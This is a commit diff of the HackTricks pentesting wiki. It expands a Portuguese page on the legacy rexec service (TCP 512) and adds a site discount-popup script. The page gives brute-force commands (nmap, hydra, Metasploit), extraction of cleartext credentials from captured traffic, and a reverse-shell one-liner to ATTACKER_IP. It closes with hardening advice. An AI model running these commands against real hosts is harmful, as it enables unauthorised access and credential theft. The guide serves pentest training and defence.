Translated ['src/network-services-pentesting/512-pentesting-rexec.md'] t

src/network-services-pentesting/512-pentesting-rexec.md

@@ -2,17 +2,103 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-
 ## Informações Básicas
 
-É um serviço que **permite que você execute um comando dentro de um host** se você souber **credenciais** válidas (nome de usuário e senha).
+Rexec (remote **exec**) é um dos serviços originais da suíte Berkeley *r* (junto com `rlogin`, `rsh`, …). Ele fornece uma capacidade de **execução remota de comandos** **autenticada apenas com um nome de usuário e senha em texto claro**. O protocolo foi definido no início dos anos 1980 (veja RFC 1060) e hoje é considerado **inseguro por design**. No entanto, ainda está habilitado por padrão em alguns equipamentos legados UNIX / conectados à rede e ocasionalmente aparece durante pentests internos.
 
-**Porta Padrão:** 512
+**Porta Padrão:** TCP 512 (`exec`)
 ```
 PORT    STATE SERVICE
 512/tcp open  exec
 ```
-### [**Força bruta**](../generic-hacking/brute-force.md#rexec)
+> 🔥 Todo o tráfego – incluindo credenciais – é transmitido **não criptografado**. Qualquer um com a capacidade de monitorar a rede pode recuperar o nome de usuário, senha e comando.
 
+### Visão rápida do protocolo
 
+1. O cliente se conecta ao TCP 512.
+2. O cliente envia três strings **terminadas em NUL**:
+* o número da porta (como ASCII) onde deseja receber stdout/stderr (geralmente `0`),
+* o **nome de usuário**,
+* a **senha**.
+3. Uma string final terminada em NUL com o **comando** a ser executado é enviada.
+4. O servidor responde com um único byte de status de 8 bits (0 = sucesso, `1` = falha) seguido pela saída do comando.
+
+Isso significa que você pode reproduzir a troca com nada mais do que `echo -e` e `nc`:
+```bash
+(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
+```
+Se as credenciais forem válidas, você receberá a saída de `id` diretamente na mesma conexão.
+
+### Uso manual com o cliente
+
+Muitas distribuições Linux ainda incluem o cliente legado dentro do pacote **inetutils-rexec** / **rsh-client**:
+```bash
+rexec -l user -p password <target> "uname -a"
+```
+Se `-p` for omitido, o cliente solicitará interativamente a senha (visível na rede em texto claro!).
+
+---
+## Enumeração & Força Bruta
+
+### [**Força Bruta**](../generic-hacking/brute-force.md#rexec)
+
+### Nmap
+```bash
+nmap -p 512 --script rexec-info <target>
+# Discover service banner and test for stdout port mis-configuration
+
+nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
+```
+O `rexec-brute` NSE usa o protocolo descrito acima para tentar credenciais muito rapidamente.
+
+### Hydra / Medusa / Ncrack
+```bash
+hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
+```
+`hydra` tem um módulo **rexec** dedicado e continua sendo o bruteforcer offline mais rápido. `medusa` (`-M REXEC`) e `ncrack` (módulo `rexec`) podem ser usados da mesma forma.
+
+### Metasploit
+```
+use auxiliary/scanner/rservices/rexec_login
+set RHOSTS <target>
+set USER_FILE users.txt
+set PASS_FILE passwords.txt
+run
+```
+O módulo irá gerar um shell com sucesso e armazenar as credenciais no banco de dados.
+
+---
+## Captura de credenciais
+
+Como tudo está em texto claro, **as capturas de rede são inestimáveis**. Com uma cópia do tráfego, você pode extrair credenciais sem tocar no alvo:
+```bash
+tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
+awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command
+```
+(In Wireshark, ative *Decode As …​* TCP 512 → REXEC para visualizar os campos analisados de forma adequada.)
+
+---
+## Dicas de Pós-Exploração
+
+* Comandos são executados com os privilégios do usuário fornecido. Se `/etc/pam.d/rexec` estiver mal configurado (por exemplo, `pam_rootok`), shells de root são às vezes possíveis.
+* Rexec ignora o shell do usuário e executa o comando via `/bin/sh -c <cmd>`. Você pode, portanto, usar truques típicos de escape de shell (`;`, ``$( )``, crase) para encadear múltiplos comandos ou gerar shells reversos:
+```bash
+rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
+```
+* Senhas são frequentemente armazenadas em **~/.netrc** em outros sistemas; se você comprometer um host, pode reutilizá-las para movimentação lateral.
+
+---
+## Fortalecimento / Detecção
+
+* **Não exponha rexec**; substitua-o por SSH. Praticamente todos os *inetd* superservers modernos comentam o serviço por padrão.
+* Se você precisar mantê-lo, restrinja o acesso com TCP wrappers (`/etc/hosts.allow`) ou regras de firewall e imponha senhas fortes por conta.
+* Monitore o tráfego para :512 e para lançamentos do processo `rexecd`. Uma única captura de pacote é suficiente para detectar uma comprometimento.
+* Desative `rexec`, `rlogin`, `rsh` juntos – eles compartilham a maior parte do mesmo código e fraquezas.
+
+---
+
+## Referências
+
+* Documentação do Nmap NSE `rexec-brute` – [https://nmap.org/nsedoc/scripts/rexec-brute.html](https://nmap.org/nsedoc/scripts/rexec-brute.html)
+* Módulo Rapid7 Metasploit `auxiliary/scanner/rservices/rexec_login` – [https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login](https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login)
 {{#include ../banners/hacktricks-training.md}}

theme/ai.js

@@ -1,11 +1,86 @@
+/**
+ * HackTricks Training Discounts
+ */
+
+
+(() => {
+  const KEY  = 'htSummerDiscountDismissed';
+  const IMG  = '/images/discount.jpeg';
+  const TXT  = 'HT Summer Discount, Last Days!';
+
+  /* Stop if user already dismissed */
+  if (localStorage.getItem(KEY) === 'true') return;
+
+  /* Quick helper */
+  const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
+
+  /* --- Overlay (blur + dim) --- */
+  const overlay = $('div', `
+    position: fixed; inset: 0;
+    background: rgba(0,0,0,.4);
+    backdrop-filter: blur(6px);
+    display: flex; justify-content: center; align-items: center;
+    z-index: 10000;
+  `);
+
+  /* --- Modal --- */
+  const modal = $('div', `
+    max-width: 90vw; width: 480px;
+    background: #fff; border-radius: 12px; overflow: hidden;
+    box-shadow: 0 8px 24px rgba(0,0,0,.35);
+    font-family: system-ui, sans-serif;
+    display: flex; flex-direction: column; align-items: stretch;
+  `);
+
+  /* --- Title bar (separate, over image) --- */
+  const titleBar = $('div', `
+    padding: 1rem; text-align: center;
+    background: #222; color: #fff;
+    font-size: 1.3rem; font-weight: 700;
+  `);
+  titleBar.textContent = TXT;
+
+  /* --- Image --- */
+  const img = $('img');
+  img.src = IMG; img.alt = TXT; img.style.width = '100%';
+
+  /* --- Checkbox row --- */
+  const label = $('label', `
+    display: flex; align-items: center; justify-content: center; gap: .6rem;
+    padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
+  `);
+  const cb = $('input'); cb.type = 'checkbox'; cb.style.scale = '1.2';
+  cb.onchange = () => {
+    if (cb.checked) {
+      localStorage.setItem(KEY, 'true');
+      overlay.remove();
+    }
+  };
+  label.append(cb, document.createTextNode("Don't show again"));
+
+  /* --- Assemble & inject --- */
+  modal.append(titleBar, img, label);
+  overlay.appendChild(modal);
+
+  (document.readyState === 'loading'
+    ? () => document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true })
+    : () => document.body.appendChild(overlay))();
+})();
+
+
+
+
 /**
  * HackTricks AI Chat Widget v1.16 – resizable sidebar
  * ---------------------------------------------------
  * ❶ Markdown rendering + sanitised (same as before)
  * ❷ NEW: drag‑to‑resize panel, width persists via localStorage
  */
+
+
+
 (function () {
-  const LOG = "[HackTricks‑AI]";
+  const LOG = "[HackTricks-AI]";
   /* ---------------- User‑tunable constants ---------------- */
   const MAX_CONTEXT  = 3000;   // highlighted‑text char limit
   const MAX_QUESTION = 500;    // question char limit
@@ -13,7 +88,7 @@
   const MAX_W        = 600;
   const DEF_W        = 350;    // default width (if nothing saved)
   const TOOLTIP_TEXT =
-    "💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
+    "💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
 
   const API_BASE  = "https://www.hacktricks.ai/api/assistants/threads";
   const BRAND_RED = "#b31328";